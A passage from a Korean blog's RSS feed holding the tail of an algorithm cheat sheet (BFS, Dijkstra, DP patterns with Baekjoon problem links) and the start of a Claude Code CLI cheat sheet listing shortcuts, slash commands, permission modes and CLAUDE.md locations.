&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 가중치 없는 그래프에서 최단 거리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;dist[next] = dist[cur] + 1&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/2178&quot;&gt;백준 2178 - 미로 탐색&lt;/a&gt; (Silver 1)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/7569&quot;&gt;백준 7569 - 토마토&lt;/a&gt; (Gold 5)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;다익스트라&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O((V+E) log V)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; PriorityQueue (최소 힙)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 가중치 있는 그래프에서 단일 출발 최단 거리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;dist[next] = min(dist[next], dist[cur] + weight)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1753&quot;&gt;백준 1753 - 최단경로&lt;/a&gt; (Gold 4)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1916&quot;&gt;백준 1916 - 최소비용 구하기&lt;/a&gt; (Gold 5)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;DFS / 백트래킹&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(V+E) 탐색 / O(N!) 백트래킹 최악&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 재귀 스택&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 모든 경우의 수 탐색, 조합/순열, 조건 만족 여부&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 구조&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;void dfs(상태) {
    if (종료 조건) { 결과 처리; return; }
    for (다음 선택지) {
        if (가지치기 조건) continue;
        dfs(다음 상태);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/9663&quot;&gt;백준 9663 - N-Queen&lt;/a&gt; (Gold 4)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/15649&quot;&gt;백준 15649 - N과 M(1)&lt;/a&gt; (Silver 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;이분탐색&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(log N)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 정렬된 배열&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 정렬된 배열에서 값 탐색, 파라메트릭 서치&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;while lo &amp;lt;= hi:
    mid = (lo + hi) / 2
    if arr[mid] &amp;lt; target: lo = mid + 1
    elif arr[mid] &amp;gt; target: hi = mid - 1
    else: return mid&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1920&quot;&gt;백준 1920 - 수 찾기&lt;/a&gt; (Silver 4)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/2805&quot;&gt;백준 2805 - 나무 자르기&lt;/a&gt; (Silver 2)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;그리디&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(N log N) (정렬 포함)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 정렬 배열 / PriorityQueue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 현재 최선 선택이 전체 최선을 보장할 때&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 구조&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;배열 정렬
for 각 원소:
    현재 기준으로 최선 선택&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/11047&quot;&gt;백준 11047 - 동전 0&lt;/a&gt; (Silver 1)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1931&quot;&gt;백준 1931 - 회의실 배정&lt;/a&gt; (Silver 1)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;DP - 냅색 (Knapsack)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(N × W)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 1D 또는 2D 배열&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 용량/합 제한 안에서 최대 가치&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 0/1 냅색 (아이템 1번만 사용)
for i in 1..N:              // 아이템 순회
    for j in W..w[i]:       // 용량 역순 순회
        dp[j] = max(dp[j], dp[j - w[i]] + v[i])

// 무한 냅색 (아이템 반복 사용)
for i in 1..N:
    for j in w[i]..W:       // 용량 정순 순회
        dp[j] = max(dp[j], dp[j - w[i]] + v[i])&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/12865&quot;&gt;백준 12865 - 평범한 배낭&lt;/a&gt; (Gold 5)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/7579&quot;&gt;백준 7579 - 앱&lt;/a&gt; (Gold 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;DP - LIS (최장 증가 부분 수열)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(N²) 기본 / O(N log N) 이분탐색 최적화&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 1D 배열&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 원소 간 순서와 값 대소 관계가 모두 중요할 때&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// O(N²)
dp[i] = bricks[i].h  // 기저: 자기 자신
for j in 0..i:
    if val[j] &amp;lt; val[i]:
        dp[i] = max(dp[i], dp[j] + val[i])

// O(N log N) - tails 배열 유지
for x in arr:
    pos = lower_bound(tails, x)
    tails[pos] = x&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/2655&quot;&gt;백준 2655 - 가장 높은 탑 쌓기&lt;/a&gt; (Gold 3)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/14003&quot;&gt;백준 14003 - 가장 긴 증가하는 부분 수열 5&lt;/a&gt; (Platinum 5)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;DP - LCS (최장 공통 부분 수열)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(N × M)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 2D 배열&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 두 수열의 공통된 부분 수열 최대 길이&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;if A[i] == B[j]:
    dp[i][j] = dp[i-1][j-1] + 1
else:
    dp[i][j] = max(dp[i-1][j], dp[i][j-1])&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/9251&quot;&gt;백준 9251 - LCS&lt;/a&gt; (Gold 5)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/9252&quot;&gt;백준 9252 - LCS 2&lt;/a&gt; (Gold 4)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;DP - 구간 DP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(N³)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; 2D 배열&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 조건:&lt;/strong&gt; 구간 [i, j]를 점점 넓혀가며 최적값 계산&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 점화식&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;for len in 2..N:          // 구간 길이
    for i in 0..N-len:    // 시작점
        j = i + len       // 끝점
        for k in i..j:    // 분할점
            dp[i][j] = min/max(dp[i][k] + dp[k+1][j] + cost)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;예제 문제&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/11049&quot;&gt;백준 11049 - 행렬 곱셈 순서&lt;/a&gt; (Gold 3)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1918&quot;&gt;백준 1918 - 후위 표기식&lt;/a&gt; (Gold 2)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>DEV/Algorithm</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/313</guid>
      <comments>https://doinitright.tistory.com/313#entry313comment</comments>
      <pubDate>Sun, 29 Mar 2026 22:55:50 +0900</pubDate>
    </item>
    <item>
      <title>CLAUDE CODE CHEAT SHEET (단축키, 명령어, 파일 구조 정리)</title>
      <link>https://doinitright.tistory.com/312</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPbPE0/dJMcah4UKRM/HMLpbYGvpzkmLZ5JJZKKh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPbPE0/dJMcah4UKRM/HMLpbYGvpzkmLZ5JJZKKh1/img.png&quot; data-alt=&quot;CLAUDE CODE CHEAT SHEET, CLI 명령어 정리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPbPE0/dJMcah4UKRM/HMLpbYGvpzkmLZ5JJZKKh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPbPE0%2FdJMcah4UKRM%2FHMLpbYGvpzkmLZ5JJZKKh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;328&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;348&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CLAUDE CODE CHEAT SHEET, CLI 명령어 정리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Claude Code CLI를 편리하게 사용하기 위한 명령어와 단축키, 파일 구조 정리 시트입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;키보드 단축키&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;일반 제어&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Ctrl + C&lt;/code&gt; : 현재 실행 중인 명령이나 응답 생성을 즉시 취소&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + D&lt;/code&gt; : 현재 CLI 세션을 종료&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + L&lt;/code&gt; : 터미널 화면을 지워 현재 작업에 집중&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + O&lt;/code&gt; : 출력 상세 수준을 전환 (간략 / 상세 로그)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + R&lt;/code&gt; : 이전에 실행한 명령을 히스토리에서 검색&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + G&lt;/code&gt; : 프롬프트 편집기를 열어 입력을 편집&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;작업 제어&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Ctrl + B&lt;/code&gt; : 현재 작업을 백그라운드 실행으로 전환&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + T&lt;/code&gt; : 실행 중인 작업 목록을 확인하거나 전환&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + V&lt;/code&gt; : 클립보드에 있는 이미지를 입력에 붙여넣기&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + F&lt;/code&gt; : 실행 중인 백그라운드 에이전트를 종료 (보안상 두 번 입력 필요)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Esc&lt;/code&gt; : 현재 입력 상태를 초기 상태로 되돌림&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;모드 전환&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Shift + Tab&lt;/code&gt; : Claude 권한 모드를 순환 전환 (일반 / 자동 / 계획)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt + P&lt;/code&gt; : 현재 사용할 Claude 모델을 변경&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt + T&lt;/code&gt; : Thinking 모드를 전환하여 더 깊은 추론을 활성화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;입력 제어&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Enter&lt;/code&gt; : 입력&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + J, Shift + Enter&lt;/code&gt; : 줄바꿈&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;접두사&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; : Claude CLI 내부 명령 실행 (슬래시 명령어)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!&lt;/code&gt; : bash 쉘 명령을 CLI 내부에서 직접 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@&lt;/code&gt; : 파일이나 경로를 참조하고 자동완성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;명령어&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MCP 서버 관리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 추가
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;--transport http&lt;/code&gt; : 원격 HTTP 기반 MCP 서버 연결 (일반적인 방식)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--transport stdio&lt;/code&gt; : 로컬 프로세스로 MCP 서버 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--transport sse&lt;/code&gt; : Server-Sent Events 방식의 원격 MCP 서버 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;서버 관리
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/mcp&lt;/code&gt; : MCP 서버 연결과 인증을 관리하는 인터랙티브 UI 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;claude mcp list&lt;/code&gt; : 현재 등록된 MCP 서버 목록 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;claude mcp serve&lt;/code&gt; : Claude 인스턴스를 MCP 서버로 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Elicitation Servers&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;작업 중 사용자에게 추가 입력을 요청할 수 있는 인터랙티브 서버 기능이다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;세션 관련&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/clear&lt;/code&gt; : 현재 대화 컨텍스트 초기화&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/compact&lt;/code&gt; : 이전 대화를 압축해 컨텍스트 사용량 감소&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/resume&lt;/code&gt; : 이전 세션을 다시 이어서 실행, 세션 매니저로 진입
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 선택기 (Session Selector)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;uarr; &amp;darr; : 저장된 세션 목록을 탐색&lt;/li&gt;
&lt;li&gt;&amp;rarr; &amp;larr; : 세션 세부 정보 확장 또는 축소&lt;/li&gt;
&lt;li&gt;P : 선택한 세션 미리보기&lt;/li&gt;
&lt;li&gt;R : 세션 이름 변경&lt;/li&gt;
&lt;li&gt;/ : 세션 검색&lt;/li&gt;
&lt;li&gt;A : 모든 프로젝트 세션 표시&lt;/li&gt;
&lt;li&gt;B : 현재 Git 브랜치 관련 세션 표시&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/rename&lt;/code&gt; : 현재 세션 이름 변경&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/branch&lt;/code&gt; : 현재 대화를 기반으로 새 브랜치 생성&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cost&lt;/code&gt; : 현재 세션에서 사용된 토큰 및 비용 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/context&lt;/code&gt; : 현재 컨텍스트 사용량 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/diff&lt;/code&gt; : 코드 변경 차이 비교&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/copy&lt;/code&gt; : 결과를 클립보드에 복사&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/export&lt;/code&gt; : 대화 내용을 파일로 내보내기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설정 관련&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/config&lt;/code&gt; : CLI 설정 조회 및 수정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/model&lt;/code&gt; : 사용 중인 Claude 모델 변경&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/fast&lt;/code&gt; : 빠른 응답 모드 활성화&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/vim&lt;/code&gt; : Vim 스타일 입력 모드 활성화&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/theme&lt;/code&gt; : CLI 색상 테마 변경&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/permissions&lt;/code&gt; : 권한 모드 변경 (shift + tab도 가능)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;권한 모드
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;default : 기본 권한 모드&lt;/li&gt;
&lt;li&gt;acceptEdits : 코드 수정 자동 허용&lt;/li&gt;
&lt;li&gt;plan : 실행 전 계획 생성 모드&lt;/li&gt;
&lt;li&gt;dontAsk : 사용자 확인 없이 실행&lt;/li&gt;
&lt;li&gt;bypassPermissions : 권한 체크 우회&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/effort&lt;/code&gt; : 추론 노력 수준 설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/effort low, /effort medium, /effort high 가 있으며, ultrathink가 최상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/color&lt;/code&gt; : 출력 색상 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;도구 관련&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/init&lt;/code&gt; : 프로젝트용 &lt;code&gt;CLAUDE.md&lt;/code&gt; 초기화&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/memory&lt;/code&gt; : Claude 메모리 파일 관리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mcp&lt;/code&gt; : MCP 서버 설정 관리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/hooks&lt;/code&gt; : 자동 실행 훅 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/skills&lt;/code&gt; : Claude 스킬 관리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/agents&lt;/code&gt; : 에이전트 관리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/chrome&lt;/code&gt; : Chrome 브라우저 연동&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/reload-plugins&lt;/code&gt; : 플러그인 재로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;특수 명령&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/btw&lt;/code&gt; : 현재 대화와 별개의 질문 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/plan&lt;/code&gt; : 작업 계획을 생성&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/loop&lt;/code&gt; : 반복 작업 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/voice&lt;/code&gt; : 음성 입력 모드 활성화&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/doctor&lt;/code&gt; : CLI 환경 진단&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/rc&lt;/code&gt; : 원격 제어 기능 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/pr-comments&lt;/code&gt; : Pull Request 코멘트 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/stats&lt;/code&gt; : 사용 통계 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/insights&lt;/code&gt; : 분석 정보 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/desktop&lt;/code&gt; : 데스크톱 앱 연결&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/remote-control&lt;/code&gt; : 원격 제어 기능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/stickers&lt;/code&gt; : 스티커 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 및 에이전트&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내장 스킬
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/simplify&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 코드 단순화&lt;/li&gt;
&lt;li&gt;/batch&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 반복 작업 자동화&lt;/li&gt;
&lt;li&gt;/debug&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 디버깅 지원&lt;/li&gt;
&lt;li&gt;/loop&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 반복 실행 작업&lt;/li&gt;
&lt;li&gt;/claude-api&lt;span&gt;&amp;nbsp;&lt;/span&gt;: Claude API 작업 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;메모리 및 파일 구조&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CLAUDE.md&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트 : &lt;code&gt;./CLAUDE.md&lt;/code&gt; 프로젝트 전용 AI 설정 파일&lt;/li&gt;
&lt;li&gt;개인 : &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; 개인 전역 설정&lt;/li&gt;
